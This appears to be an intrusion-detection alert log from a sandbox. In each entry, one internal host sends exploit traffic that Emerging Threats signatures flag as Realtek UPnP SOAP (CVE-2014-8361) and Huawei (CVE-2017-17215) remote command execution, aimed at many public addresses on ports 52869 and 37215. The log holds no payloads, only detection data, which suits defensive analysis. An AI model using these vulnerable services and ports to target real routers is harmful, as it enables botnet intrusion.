Timestamp:	07/20/24-23:01:57.049485
SID:	2027339
Source Port:	39522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.102.84.222

Timestamp:	07/20/24-23:02:02.537098
SID:	2025132
Source Port:	54690
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.97.165.219

Timestamp:	07/20/24-23:01:42.727671
SID:	2025132
Source Port:	41428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 161.238.126.206

Timestamp:	07/20/24-23:01:14.207040
SID:	2835222
Source Port:	53312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.48.126.38

Timestamp:	07/20/24-23:01:11.636599
SID:	2829579
Source Port:	47636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 208.111.2.186

Timestamp:	07/20/24-23:01:45.148866
SID:	2831300
Source Port:	41282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.199.110.98

Timestamp:	07/20/24-23:01:12.807101
SID:	2027339
Source Port:	37332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.38.185

Timestamp:	07/20/24-23:01:00.647694
SID:	2835222
Source Port:	59862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.218.156.193

Timestamp:	07/20/24-23:01:44.700808
SID:	2027339
Source Port:	36296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.195.50.112

Timestamp:	07/20/24-23:01:52.934726
SID:	2025132
Source Port:	39634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.38.32.209

Timestamp:	07/20/24-23:01:24.589249
SID:	2025132
Source Port:	44726
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.196.66.69

Timestamp:	07/20/24-23:01:42.304767
SID:	2027339
Source Port:	34786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.63.23.173

Timestamp:	07/20/24-23:02:01.645031
SID:	2027339
Source Port:	39976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 134.135.7.1

Timestamp:	07/20/24-23:01:42.313122
SID:	2831300
Source Port:	35230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.230.186.151

Timestamp:	07/20/24-23:01:53.625100
SID:	2027339
Source Port:	37504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.133.236.43

Timestamp:	07/20/24-23:01:31.977603
SID:	2829579
Source Port:	58014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.60.50.103

Timestamp:	07/20/24-23:01:31.979565
SID:	2829579
Source Port:	40992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.159.149.17

Timestamp:	07/20/24-23:01:41.156801
SID:	2027339
Source Port:	44846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.3.151.48

Timestamp:	07/20/24-23:02:09.321968
SID:	2027339
Source Port:	55380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.194.118.37

Timestamp:	07/20/24-23:01:04.766644
SID:	2025132
Source Port:	57512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.197.13.210

Timestamp:	07/20/24-23:01:06.975117
SID:	2835222
Source Port:	32942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 23.225.3.54

Timestamp:	07/20/24-23:01:08.626717
SID:	2831300
Source Port:	59244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.222.88.102

Timestamp:	07/20/24-23:01:51.275864
SID:	2027339
Source Port:	42096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 139.13.89.177

Timestamp:	07/20/24-23:01:00.635367
SID:	2829579
Source Port:	44792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 182.81.116.37

Timestamp:	07/20/24-23:01:44.280820
SID:	2831300
Source Port:	52686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.172.236.0

Timestamp:	07/20/24-23:01:49.775041
SID:	2025132
Source Port:	36792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 184.160.174.234

Timestamp:	07/20/24-23:01:31.991336
SID:	2829579
Source Port:	41200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 31.234.118.120

Timestamp:	07/20/24-23:01:45.270636
SID:	2831300
Source Port:	55774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.181.36.106

Timestamp:	07/20/24-23:01:31.317668
SID:	2027339
Source Port:	48316
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.132.50.155

Timestamp:	07/20/24-23:01:42.758824
SID:	2027339
Source Port:	35010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 25.158.237.150

Timestamp:	07/20/24-23:01:01.799480
SID:	2025132
Source Port:	60470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.110.137.130

Timestamp:	07/20/24-23:01:50.093097
SID:	2027339
Source Port:	40554
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.132.44.64

Timestamp:	07/20/24-23:01:24.944299
SID:	2829579
Source Port:	46626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.72.134.93

Timestamp:	07/20/24-23:01:03.120339
SID:	2027339
Source Port:	59050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.116.9.186

Timestamp:	07/20/24-23:01:41.360712
SID:	2025132
Source Port:	55964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.133.16.151

Timestamp:	07/20/24-23:01:42.430595
SID:	2025132
Source Port:	52592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.193.20.196

Timestamp:	07/20/24-23:01:54.345402
SID:	2025132
Source Port:	48096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.164.129.53

Timestamp:	07/20/24-23:01:43.078618
SID:	2027339
Source Port:	51042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.14.83.223

Timestamp:	07/20/24-23:01:48.901809
SID:	2027339
Source Port:	34252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.190.62.115

Timestamp:	07/20/24-23:01:03.149410
SID:	2025132
Source Port:	34424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.130.194.51

Timestamp:	07/20/24-23:02:07.552669
SID:	2027339
Source Port:	54260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.125.127.147

Timestamp:	07/20/24-23:01:43.425298
SID:	2025132
Source Port:	48686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.135.159.113

Timestamp:	07/20/24-23:01:11.639230
SID:	2829579
Source Port:	42332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.65.114.30

Timestamp:	07/20/24-23:01:45.458332
SID:	2027339
Source Port:	35490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.88.10.152

Timestamp:	07/20/24-23:01:27.658221
SID:	2835222
Source Port:	34896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.41.106

Timestamp:	07/20/24-23:01:24.934977
SID:	2835222
Source Port:	50816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.139.237.174

Timestamp:	07/20/24-23:01:58.055688
SID:	2027339
Source Port:	33598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.135.139.61

Timestamp:	07/20/24-23:01:51.107223
SID:	2025132
Source Port:	56572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.238.40.139

Timestamp:	07/20/24-23:01:24.885895
SID:	2835222
Source Port:	49634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.96.13.171

Timestamp:	07/20/24-23:01:42.729311
SID:	2027339
Source Port:	49758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.116.111.15

Timestamp:	07/20/24-23:01:10.996987
SID:	2025132
Source Port:	39666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.0.251.178

Timestamp:	07/20/24-23:01:41.478929
SID:	2027339
Source Port:	48268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.181.95.82

Timestamp:	07/20/24-23:01:24.933370
SID:	2829579
Source Port:	52192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.55.136.220

Timestamp:	07/20/24-23:01:48.433265
SID:	2027339
Source Port:	55244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.189.85

Timestamp:	07/20/24-23:01:24.877747
SID:	2829579
Source Port:	55018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.207.172.207

Timestamp:	07/20/24-23:01:21.915268
SID:	2829579
Source Port:	42074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 152.188.24.161

Timestamp:	07/20/24-23:01:41.303669
SID:	2025132
Source Port:	49992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.251.237.127

Timestamp:	07/20/24-23:01:27.654172
SID:	2835222
Source Port:	37200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.90.7.168

Timestamp:	07/20/24-23:01:42.000471
SID:	2027339
Source Port:	56196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.4.26.126

Timestamp:	07/20/24-23:00:57.221280
SID:	2829579
Source Port:	43126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.53.167.172

Timestamp:	07/20/24-23:01:53.560520
SID:	2027339
Source Port:	49688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.247.9.98

Timestamp:	07/20/24-23:01:27.650969
SID:	2835222
Source Port:	54752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.21.134.81

Timestamp:	07/20/24-23:01:45.096837
SID:	2027339
Source Port:	39946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.225.20.24

Timestamp:	07/20/24-23:01:54.880741
SID:	2027339
Source Port:	52238
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.9.136.124

Timestamp:	07/20/24-23:01:06.973541
SID:	2835222
Source Port:	49004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.108.156.75

Timestamp:	07/20/24-23:01:31.321188
SID:	2831300
Source Port:	57476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 185.161.24.118

Timestamp:	07/20/24-23:01:42.557694
SID:	2831300
Source Port:	53706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.157.224.96

Timestamp:	07/20/24-23:01:42.147980
SID:	2831300
Source Port:	56000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.222.120.169

Timestamp:	07/20/24-23:00:59.211046
SID:	2835222
Source Port:	46326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 178.64.121.40

Timestamp:	07/20/24-23:01:50.188348
SID:	2025132
Source Port:	51040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 138.229.180.34

Timestamp:	07/20/24-23:01:42.778817
SID:	2831300
Source Port:	40746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 183.120.27.200

Timestamp:	07/20/24-23:02:03.159117
SID:	2831300
Source Port:	38730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.252.100.49

Timestamp:	07/20/24-23:01:07.033766
SID:	2835222
Source Port:	60624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 71.112.242.82

Timestamp:	07/20/24-23:01:02.047411
SID:	2835222
Source Port:	45312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.159.104.180

Timestamp:	07/20/24-23:02:05.786490
SID:	2831300
Source Port:	44472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.40.245.195

Timestamp:	07/20/24-23:02:12.682460
SID:	2025132
Source Port:	58340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.226.32.12

Timestamp:	07/20/24-23:02:14.650164
SID:	2027339
Source Port:	35728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.218.32.62

Timestamp:	07/20/24-23:01:40.286738
SID:	2835222
Source Port:	56342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 152.70.166.60

Timestamp:	07/20/24-23:01:45.574617
SID:	2831300
Source Port:	39656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.186.193.196

Timestamp:	07/20/24-23:01:20.131339
SID:	2829579
Source Port:	45952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.149.101.121

Timestamp:	07/20/24-23:01:41.263056
SID:	2025132
Source Port:	38236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.165.91.44

Timestamp:	07/20/24-23:00:59.192052
SID:	2835222
Source Port:	44056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.24.157.5

Timestamp:	07/20/24-23:01:46.453936
SID:	2027339
Source Port:	34994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.222.250.183

Timestamp:	07/20/24-23:01:34.062277
SID:	2835222
Source Port:	53428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.205.220.16

Timestamp:	07/20/24-23:01:02.104572
SID:	2829579
Source Port:	46440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 5.82.172.149

Timestamp:	07/20/24-23:01:34.048825
SID:	2835222
Source Port:	41408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.49.147.96

Timestamp:	07/20/24-23:01:43.209467
SID:	2027339
Source Port:	43906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.133.17.143

Timestamp:	07/20/24-23:01:59.292118
SID:	2027339
Source Port:	58552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 110.243.142.209

Timestamp:	07/20/24-23:00:59.196993
SID:	2829579
Source Port:	46650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 84.150.128.0

Timestamp:	07/20/24-23:01:02.965900
SID:	2025132
Source Port:	44986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.107.137.70

Timestamp:	07/20/24-23:01:59.188717
SID:	2027339
Source Port:	50172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 146.210.17.240

Timestamp:	07/20/24-23:01:03.153933
SID:	2025132
Source Port:	34664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 218.228.206.146

Timestamp:	07/20/24-23:01:04.155095
SID:	2025132
Source Port:	50178
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.244.160.188

Timestamp:	07/20/24-23:01:42.745651
SID:	2025132
Source Port:	36060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.18.195.93

Timestamp:	07/20/24-23:01:03.482119
SID:	2027339
Source Port:	35784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 201.250.207.152

Timestamp:	07/20/24-23:01:08.615260
SID:	2831300
Source Port:	36786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 23.210.80.134

Timestamp:	07/20/24-23:01:45.547334
SID:	2831300
Source Port:	59954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.191.12.65

Timestamp:	07/20/24-23:01:47.062116
SID:	2027339
Source Port:	33920
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.147.238.186

Timestamp:	07/20/24-23:00:57.220899
SID:	2829579
Source Port:	40788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 122.204.212.245

Timestamp:	07/20/24-23:01:08.578727
SID:	2831300
Source Port:	48380
Destination Port:	52869
Protocol:	TCP
